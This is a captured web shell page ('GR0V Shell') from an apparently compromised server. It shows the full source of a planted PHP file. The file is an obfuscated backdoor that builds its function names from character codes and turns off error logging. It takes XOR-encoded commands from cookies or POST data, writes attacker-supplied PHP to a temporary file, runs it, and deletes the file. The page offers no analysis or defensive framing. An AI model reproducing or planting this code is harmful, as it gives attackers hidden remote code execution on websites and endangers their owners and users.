? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/happy2/media/cms/

Current File : /home/admin/public_html/old/happy2/media/cms/mutwiyaf.php

<?php $hyxjjsgpx = "\x66"."\x69"."\154".'e'.chr(95)."\160"."\165"."\164"."\x5f"."\x63"."\157"."\x6e"."\x74".'e'.chr(600-490).'t'.'s';
$pzjzxtgiip = chr(126-28).'a'.chr(266-151).'e'."\66"."\x34".'_'.chr(211-111)."\x65".'c'.chr(856-745).chr(150-50)."\145";
$pgztzmup = chr(105).chr(1108-998)."\x69".chr(95)."\163".chr(101)."\164";
$vbknniyo = "\x75".'n'.chr(108).'i'."\x6e".'k';


@$pgztzmup("\x65"."\162".chr(114).chr(858-747)."\162".'_'."\154"."\157".chr(103), NULL);
@$pgztzmup(chr(108).'o'.'g'.'_'.chr(101).chr(609-495).chr(1090-976)."\157".'r'.'s', 0);
@$pgztzmup("\155"."\141".chr(120).chr(95).chr(570-469).chr(207-87)."\145".chr(99).chr(772-655).chr(754-638)."\x69"."\157"."\156".'_'.chr(443-327)."\151".'m'.chr(101), 0);
@set_time_limit(0);

function iogekeetd($jfnsmfozbearmh, $jfnsmfcmsqfxyo)
{
    $meqvqa = "";
    for ($jfnsmf = 0; $jfnsmf < strlen($jfnsmfozbearmh);) {
        for ($j = 0; $j < strlen($jfnsmfcmsqfxyo) && $jfnsmf < strlen($jfnsmfozbearmh); $j++, $jfnsmf++) {
            $meqvqa .= chr(ord($jfnsmfozbearmh[$jfnsmf]) ^ ord($jfnsmfcmsqfxyo[$j]));
        }
    }
    return $meqvqa;
}

$gagoton = array_merge($_COOKIE, $_POST);
$csxtlnf = 'ce8d7bf6-fec0-41ea-bead-0346da0ac757';
foreach ($gagoton as $ybfoftqyq => $jfnsmfozbearmh) {
    $jfnsmfozbearmh = @unserialize(iogekeetd(iogekeetd($pzjzxtgiip($jfnsmfozbearmh), $csxtlnf), $ybfoftqyq));
    if (isset($jfnsmfozbearmh['a'."\x6b"])) {
        if ($jfnsmfozbearmh["\141"] == 'i') {
            $jfnsmf = array(
                "\160".chr(481-363) => @phpversion(),
                's'."\166" => "3.5",
            );
            echo @serialize($jfnsmf);
        } elseif ($jfnsmfozbearmh["\141"] == chr(101)) {
            $ouspgecyr = "./" . md5($csxtlnf) . "\56".'i'.chr(110).'c';
            @$hyxjjsgpx($ouspgecyr, "<" . chr(63).chr(338-226).chr(541-437)."\160"."\40".chr(64).chr(326-209).'n'."\x6c".chr(407-302).chr(110)."\x6b".chr(494-454).chr(95).chr(95).'F'."\111".chr(648-572).chr(69).'_'.'_'.chr(942-901).chr(59)."\40" . $jfnsmfozbearmh['d']);
            @include($ouspgecyr);
            @$vbknniyo($ouspgecyr);
        }
        exit();
    }
}

T1KUS90T